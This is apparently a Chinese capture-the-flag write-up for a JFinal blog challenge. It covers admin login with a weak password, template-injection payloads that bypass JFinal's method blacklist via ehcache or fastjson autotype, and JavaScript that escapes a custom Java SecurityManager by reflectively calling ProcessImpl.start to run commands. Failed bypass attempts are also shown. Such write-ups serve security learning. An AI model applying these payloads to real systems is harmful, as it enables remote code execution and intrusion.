Unsecure Blog
这道题主要有两个考点是比较难的,分别是绕过ssti和Security Manager。前面的部分比较简单,弱密码111111进入后台,然后审计代码发现修改博客这里的预览功能存在ssti。对应于com.jfinal.app.blog._admin.blog.BlogAdminController::preview
方法
SSTI绕过
jfinal自带的模板引擎虽然宣称可以像写java代码一样去写模板,但是在模板中还是存在安全防护的。比如一些敏感的方法是不允许被调用的。黑名单如下,定义在com.jfinal.template.expr.ast.MethodKit
String[] ms = new String[]{"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod"};
针对以上黑名单的过滤,结合题目的依赖,可以发现两种绕过姿势。
一是利用了ehcache依赖,使用net.sf.ehcache.util.ClassLoaderUtil::createNewInstance
方法实现危险类的实例化。这个方法的作用是根据给定的类名去创建一个该类的对象,比如我们可以创建一个ScriptEngineManager对象,进而拿到js引擎,来实现任意js代码执行,下面第二种方法的最终目的也是拿到这个js引擎对象。
#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js"))
#(e.eval(jscode))
二是利用fastjson依赖,这种方法太骚了,手动设置autoTypeSupport为true(否则fastjson无法反序列化ScriptEngineManager),然后就可以反序列化自己想要的对象了
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
Security Manager绕过
绕过ssti后,已经可以执行js代码了,但是本题还存在Security Manager的限制,导致代码执行起来没有那么得心应手。Security Manager的介绍请看这篇文章(绝对的良心好文)。文章中详细介绍了sm及绕过方式,是基于java代码层面的,本题中是需要通过js代码来进行绕过,不过绕过的核心思想都是一样的。
/* */ package com.jfinal.app.security;
/* */
/* */ import java.security.Permission;
/* */
/* */
/* */
/* */
/* */ public class ForbiddenSecurityManager
/* */ {
/* */ public static void setSecurityManager() {
/* 11 */ SecurityManager oldSecurityManager = System.getSecurityManager();
/* 12 */ if (oldSecurityManager == null) {
/* 13 */ SecurityManager execSecurityManager = new SecurityManager() {
/* */ private void check(Permission permission) {
/* 15 */ if (permission instanceof java.io.FilePermission) {
/* 16 */ String actions = permission.getActions();
/* 17 */ if (actions != null && actions.contains("execute"))
/* 18 */ throw new SecurityException("cant execute file!");
/* 19 */ if (actions != null && actions.contains("write") &&
/* 20 */ permission.getName().endsWith(".dll")) {
/* 21 */ throw new SecurityException("cant create dll file");
/* */ }
/* */ }
/* */
/* 25 */ if (permission instanceof RuntimePermission) {
/* 26 */ String name = permission.getName();
/* 27 */ if (name != null && name.contains("setSecurityManager")) {
/* 28 */ throw new SecurityException("cant overwrite SecurityManager!");
/* */ }
/* */ }
/* */ }
/* */
/* */
/* */ public void checkPermission(Permission perm) {
/* 35 */ check(perm);
/* */ }
/* */
/* */
/* */ public void checkPermission(Permission perm, Object context) {
/* 40 */ check(perm);
/* */ }
/* */ };
/* 43 */ System.setSecurityManager(execSecurityManager);
/* */ }
/* */ }
/* */ }
这题能用的姿势是直接使用反射调用ProcessImpl::start
(即Runtime::exec的底层实现),其他的我也有尝试,后来发现唯有以下这种能行得通。
var clz = Java.type('java.lang.String[]').class;
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;
var bclz = Java.type('boolean').class;
var pclz = Java.type('java.lang.ProcessImpl').class;
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3);
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe');
java.lang.reflect.Array.set(cmd, 1, '/c');
java.lang.reflect.Array.set(cmd, 2, 'whoami');
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);
m.setAccessible(true);
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream();
var stringBuilder = new java.lang.StringBuilder();
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
var line = null;
while ((line = reader.readLine())!=null) {
stringBuilder.append(line);
stringBuilder.append("\n");
}
stringBuilder.toString();
后话
到这里这题也就基本结束了,能rce了之后就是简单的导出注册表然后就拿到flag了。但是在此之后我尝试自己构造一些别的绕过sm的js代码,结果是都失败了。
下面列举出一些失败的尝试,避免跟我一样走弯路。
首先是使用反射设置所有栈桢的ProtectionDomain的hasAllPerm属性为true。
var stackTraceElements=java.lang.Thread.currentThread().getStackTrace();
for(var i=0;i<stackTraceElements.length;i++){
try{
var stackTraceElement=stackTraceElements[i];
var clz = java.lang.Class.forName(stackTraceElement.getClassName());
var getProtectionDomain = clz.getClass().getDeclaredMethod('getProtectionDomain0', null);
getProtectionDomain.setAccessible(true);
var pd = getProtectionDomain.invoke(clz);
if (pd!=null){
var field = pd.getClass().getDeclaredField('hasAllPerm');
field.setAccessible(true);
field.set(pd, true);
}
}catch(e){}
}
java.lang.Runtime.getRuntime().exec('calc');
构造完之后一打,发现得到了这样的报错,很明显是被sm拦了下来。
仔细看题目自定义的sm就会发现,题目环境跟上面推荐的博客的实验环境是有差别的。博客的实验环境通过命令行来配置sm,使用的是jdk自带的sm实现,在他的checkPermission方法中调用了java.security.AccessController::checkPermission
,这个方法就会自顶向下去检查各个栈桢的ProtectionDomain,是否满足权限,包括会去处理doPrivileged。
然而这题使用的是自定义的sm,它重写了checkPermission方法,并没有去调用java.security.AccessController::checkPermission
,而是统一调用自己写的check方法,完全不涉及到遍历栈桢检查权限的问题。所以我们这样去修改栈桢权限是根本没用的。当执行java.lang.Runtime.getRuntime().exec('calc');
时,触发check函数,走到if (actions != null && actions.contains("execute"))
分支,就挂了
/* */ private void check(Permission permission) {
/* 15 */ if (permission instanceof java.io.FilePermission) {
/* 16 */ String actions = permission.getActions();
/* 17 */ if (actions != null && actions.contains("execute"))
/* 18 */ throw new SecurityException("cant execute file!");
/* 19 */ if (actions != null && actions.contains("write") &&
/* 20 */ permission.getName().endsWith(".dll")) {
/* 21 */ throw new SecurityException("cant create dll file");
/* */ }
/* */ }
/* */
/* 25 */ if (permission instanceof RuntimePermission) {
/* 26 */ String name = permission.getName();
/* 27 */ if (name != null && name.contains("setSecurityManager")) {
/* 28 */ throw new SecurityException("cant overwrite SecurityManager!");
/* */ }
/* */ }
/* */ }
此外,通过类加载器来绕过sm的思路也是行不通。它的思想是写一个类加载器去加载恶意类EvilClass,然后给这个类赋予所有权限,然后再在这个类中去调用AccessController.doPrivileged
。因为调用了doPrivileged,所以检查权限时到EvilClass就会截至,而EvilClass拥有所有权限,所以能绕过。
然而,就如上面的分析,这里使用的不是jdk自带的sm,用原来的绕过方式是行不通的。
public class EvilClass {
public EvilClass() {
}
static {
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
try {
Process var1 = Runtime.getRuntime().exec("calc");
return null;
} catch (Exception var2) {
var2.printStackTrace();
return null;
}
}
});
}
}
那么反射调用ProcessImpl::start为什么可以打通呢?
var clz = Java.type('java.lang.String[]').class;
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;
var bclz = Java.type('boolean').class;
var pclz = Java.type('java.lang.ProcessImpl').class;
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3);
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe');
java.lang.reflect.Array.set(cmd, 1, '/c');
java.lang.reflect.Array.set(cmd, 2, 'whoami');
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);
m.setAccessible(true);
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream();
var stringBuilder = new java.lang.StringBuilder();
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
var line = null;
while ((line = reader.readLine())!=null) {
stringBuilder.append(line);
stringBuilder.append("\n");
}
stringBuilder.toString();
debug看看使用这种打法会触发什么权限检查
调用getDeclaredMethod时,会触发RuntimePermission的检查
在调用setAccessible时,会触发ReflectPermission的检查
回看一下题目环境中的check函数,RuntimePermission有处理,不过只ban掉了name包含setSecurityManager的情况。我们这里name是accessDeclaredMembers,所以不会被ban。而ReflectPermission就更舒服了,压根没限制。因此这种直接反射调用ProcessImpl::start的打法就奏效了
参考文章